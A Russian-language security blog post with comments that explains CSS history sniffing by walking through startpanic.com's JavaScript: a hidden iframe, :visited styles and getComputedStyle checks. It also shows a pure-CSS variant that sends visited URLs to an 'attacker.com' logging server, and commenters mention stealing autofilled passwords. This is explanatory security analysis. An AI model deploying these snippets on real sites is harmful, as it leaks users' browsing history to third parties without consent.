На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная – все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет – используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.
Прежде всего сохраняем c сайта /js/sp.js – главный скрипт, который выполняет проверку посещенных страниц. Скрипт минимизирован, поэтому его необходимо отформатировать, например это можно сделать в Aptana IDE (Ctrl+Shift+F). Итак, как видно из кода, прежде всего AJAX‘ом подгружается большой список сайтов размером порядка 1,5 МБ:
letsBegin('en'); function letsBegin(a){ startCheck("/db/db_" + a + ".txt") } function startCheck(a){ $.get(a, function(d){ var c = d.split("\n"); for (var b in c) { c[b] = "http://" + c[b] } user = StartPanic(c) }) }
Далее создается скрытый iframe, куда впоследствии будут помещаться ссылки на сайты из списка:
var p = document.createElement("iframe"); $(p).css({ position: "absolute", width: "1px", height: "1px", visibility: "hidden" }); $("body").append($(p));
В созданном ифрейме указываются стили, при чем посещенные ссылки будут иметь атрибут display равное inline:
p.doc.write("<style>"); p.doc.write("a{color: #000000; display:none;}"); p.doc.write("a:visited {color: #FF0000; display:inline;}"); p.doc.write("</style>");
Внутри iframe последовательно создаются ссылки, у которых проверяется атрибут display (q – DOM-элемент ифрейма; r – DOM-элемент ссылки):
return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");
Собственно вот и весь алгоритм, хотя он отличается от традиционного варианта тем, что для посещенных ссылок вместо display:inline устанавливается атрибут background, который указывает на backend-приложение атакующего, логирующее все входящие адреса. Пример такого варианта:
<style> a:visited{background:url("http://attacker.com/?msn.com")} a:not(:visited){background:url(//not-visited)} </style> <a href="http://msn.com">x</a>
Разница между двумя способами также может проявляться в производительности: для традиционного варианта необходимо создавать для каждой ссылки отдельный ифрейм.
В заключение хочу отметить представленную на BlueHat 2008 работу, из которой можно подчерпнуть еще больше информации о применении CSS для реализации таких атак, как XSS и Clickjacking, а также о некоторых других не менее интересных приемах.
17 replies on “Чтение истории посещений с помощью CSS”
полезная информация, неадвно искал инфе по xss в стилях, в итоге вышла активка для ие в ипб3 (: /*привет brain[pillow]*/
Почитал «представленную на BlueHat 2008 работу», выпал в осадок. То есть, получается, в ЖЖ можно выхватить автозаполненный браузером пароль из верхней полоски нафигации при помощи злого CSS?
Просто гениально 🙂
Вообще интересно, как это можно “пофиксить”. Ок, пусть будет запрещено скриптам проверять стили в :active ссылках или будут выдаваться те же данные, что и у обычных ссылок. Но проверяя у соседних блоков такие свойства, как clientHeight, всегда можно узнать что стиль на ссылку сработал. Как можно пофиксить примеры, описанные в презентации, на уровне браузера тоже непонятно.
Разве что только встроить в браузеры “поведенческий антивирус”, который будет реагировать, когда скрипты и загруженные CSS ведут себя подозрительно. Это решило бы все проблемы разом.
странно я прошался по ссылке startpanic.com и мне ничего не выдало
Нету истории посещений – нету и проблемы.
Я одного не понял, почему “секси ассассин” ? ( :
Кстати, вот “сборник” PoC’ов по теме: hxxp://p42.us/css/
@artyfarty
Чтение атрибутов html-тэгов, действительно, очень интересный прием. Не уверен, что ЖЖ допускает возможность использования своих стилей, но получить пароль, который был автоматически заполнен в соответствующее поле, например, Firefox’ом, вполне реально (правда необходим небольшой таймаут).
@Varyen
Разработчики Firefox работают над устранением этого бага, посмотрим, что у них получится 😉 Однозначных решений я не вижу, тоже склоняюсь к идее поведенческого анализа.
@cr0w
Почему sexy assassin – без понятия 🙂 а сборник упоминался в презентации.
Что-то странно, Jeremiah Grossman про это ещё в 2006-7 писал, как-то большой паники не было. Даже, кажется, в их с RSnake книжке про это есть. Более того, можно и без JS обойтись, голым CSS, см. http://ha.ckers.org/weird/CSS-history.cgi
А, виноват. У меня почему-то не отразился с NoScript ваш второй вариант, который без JS. Какая ирония.
raz0r, ну несерьезно.. эта фича впервые обнаружена была, если не ошибаюсь, в 2002 году.
В общем для такого блога, низачот… Старая инфа..
@Raz0r
В ЖЖ custom css есть даже у бесплатников, у платников вообще почти полный доступ к теме, хоть кверх ногами переверни. (Скрипты вроде режутся)
Ещё недавно можно было наезжать на соседние посты во френдленте при помощи position: relative, о чём тут говорить… А убрали позишен, так остались отрицательные маргины…
какой код в нутри http://startpanic.com/urls ?
Нет там кода. Если вы про db/db_en.txt, то там список урлов
Хоть и старая, но все еще актуальная
нет не db_en.txt, в http://startpanic.com/urls передаются ссылки как раз таки из db_en.txt там они обрабатываются и выдаются списком который мы и видим на главной
передаются они постом в виде “urls[]=http://google.com/&urls[]=http://google.ru/&итд”
а в ответ он выдает
Google
Google
как бы в sp.js вроде есть частичная обработка этого но я не особо в нем силен, а очень хочется разобраться
p.s. могу и ошибаться
поправочка
<li><a href=”http://google.com/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.com.gif” width=”16″ height=”16″ alt=”fav” /> Google
</a></li>
<li><a href=”http://google.ru/” title=”Google”><img src=”http://ru.startpanic.com/favicons/google.ru.gif” width=”16″ height=”16″ alt=”fav” /> Google
</a></li>
все вопросы отменяются, на свежую голову разобрался
вообще, если посмотреть глобально, то достаточно безобидный баг, имхо. хотя, неприятные моменты есть.